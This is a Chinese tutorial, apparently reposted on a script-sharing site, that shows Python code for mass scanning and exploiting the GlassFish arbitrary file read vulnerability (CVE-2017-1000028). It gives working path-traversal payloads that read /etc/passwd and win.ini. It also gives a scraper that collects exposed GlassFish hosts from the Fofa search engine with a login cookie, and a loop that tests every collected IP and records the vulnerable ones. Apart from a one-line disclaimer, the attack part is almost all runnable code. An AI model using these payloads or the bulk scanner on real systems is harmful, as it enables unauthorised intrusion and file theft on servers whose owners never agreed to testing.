脚本之家,脚本语言编程技术及教程分享平台!
分类导航

Python|VBS|Ruby|Lua|perl|VBA|Golang|PowerShell|Erlang|autoit|Dos|bat|shell|

服务器之家 - 脚本之家 - Python - Python脚本开发漏洞的批量搜索与利用(GlassFish 任意文件读取)

Python脚本开发漏洞的批量搜索与利用(GlassFish 任意文件读取)

2023-02-10 10:47半个西瓜. Python

这篇文章主要介绍了Python 开发漏洞的批量搜索与利用(GlassFish 任意文件读取),主要包括python开发学习的意义及测试漏洞是否存在的步骤,需要的朋友可以参考下

Python 开发学习的意义:

(1)学习相关安全工具原理.

(2)掌握自定义工具及拓展开发解决实战中无工具或手工麻烦批量化等情况.

(3)在二次开发 Bypass,日常任务,批量测试利用等方面均有帮助.

 

免责声明:

严禁利用本文章中所提到的工具和技术进行非法攻击,否则后果自负,上传者不承担任何责任。

 

测试漏洞是否存在的步骤:

(1)应用服务器GlassFish 任意文件读取漏洞.

#测试应用服务器glassfish任意文件读取漏洞.
import requests                                 #调用requests模块

url="输入IP地址/域名"                            #下面这个二个是漏洞的payload
payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'            #检测linux系统的
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'        #检测windows系统
data_linux=requests.get(url+payload_linux).status_code  #获取请求后的返回源代码,requests.get是网络爬虫,status_code是获取状态码
data_windows=requests.get(url+payload_windows).status_code      #获取请求后的返回源代码,requests.get是网络爬虫,status_code是获取状态码
if data_windows==200 or data_linux==200:            #200说明可以请求这个数据.则存在这个漏洞.
  print("漏洞存在")
else:
  print("漏洞不存在")

效果图:

Python脚本开发漏洞的批量搜索与利用(GlassFish 任意文件读取)

(2)批量搜索漏洞.(GlassFish 任意文件读取(CVE-2017-1000028)

import base64
import requests
from lxml import etree
import time
#(1)获取到可能存在漏洞的地址信息-借助Fofa进行获取目标.
#(2)批量请求地址信息进行判断是否存在-单线程和多线程
search_data='"glassfish" && port="4848"'        #这个是搜索的内容.
headers={                                       #要登录账号的Cookie.
  'Cookie':'HMACCOUNT=52158546FBA65796;result_per_page=20'        #请求20个.
}
for yeshu in range(1,11):                       #搜索前10页.
  url='https://fofa.info/result?page='+str(yeshu)+'&qbase64='         #这个是链接的前面.
  search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8")        #对数据进行加密.
  urls=url+search_data_bs
  print('正在提取第'+str(yeshu)+'页')                           #打印正在提取第的页数.
  try:                                    #请求异常也执行.
      result=requests.get(urls,headers=headers,timeout=1).content           #requests.get请求url,请求的时候用这个headers=headers头(就是加入Cookie请求),请求延迟 timeout=1,content将结果打印出来.
      #print(result.decode('utf-8'))               #decode是编码.
      soup=etree.HTML(result)                     #把结果进行提取.(调用HTML类对HTML文本进行初始化,成功构造XPath解析对象,同时可以自动修正HMTL文本)
      ip_data=soup.xpath('//a[@target="_blank"]/@href')          #也就是爬虫自己要的数据 ,提取a标签,后面为@target="_blank"的href值也就是IP地址.
      #print(ip_data)
      ipdata='\n'.join(ip_data)               #.join(): 连接字符串数组。将字符串、元组、列表中的元素以指定的字符(分隔符)连接生成一个新的字符串
      print(ip_data)
      with open(r'ip.txt','a+') as f:         #打开一个文件(ip.txt),f是定义的名.
          f.write(ipdata+'\n')                #将ipdata的数据写进去,然后换行.
          f.close()                           #关闭.
  except Exception as e:
      pass
      #执行后文件下面就会生成一个ip.txt文件.

效果图:

Python脚本开发漏洞的批量搜索与利用(GlassFish 任意文件读取)

(3)漏洞的利用.(GlassFish 任意文件读取(CVE-2017-1000028)

import requests
import time
payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'

for ip in open('ip.txt'):       #打开ip.txt文件
  ip=ip.replace('\n','')      #替换换行符 为空.
  windows_url=ip+payload_windows        #请求windows
  linux_url=ip+payload_linux            #请求linux
  #print(windows_url)
  #print(linux_url)
  try:
      print(ip)
      result_code_linux=requests.get(windows_url).status_code                #请求linux
      result_code_windows=requests.get(linux_url).status_code              #请求windows
      print("chrck->" +ip)            #打印在检测哪一个IP地址.
      if result_code_linux==200 or result_code_windows==200:
          with open(r'result.txt','a+') as f:           #写入result.txt文件.
              f.write(ip)                 #如果有漏洞就写入ip.

      time.sleep(5)
  except Exception as e:
      pass

效果图:

Python脚本开发漏洞的批量搜索与利用(GlassFish 任意文件读取)

(4)漏洞的利用.

Python脚本开发漏洞的批量搜索与利用(GlassFish 任意文件读取)

到此这篇关于Python 开发漏洞的批量搜索与利用(GlassFish 任意文件读取)的文章就介绍到这了,更多相关python开发 漏洞内容请搜索服务器之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持服务器之家!

原文链接:https://blog.csdn.net/weixin_54977781/article/details/124834139

延伸 · 阅读

精彩推荐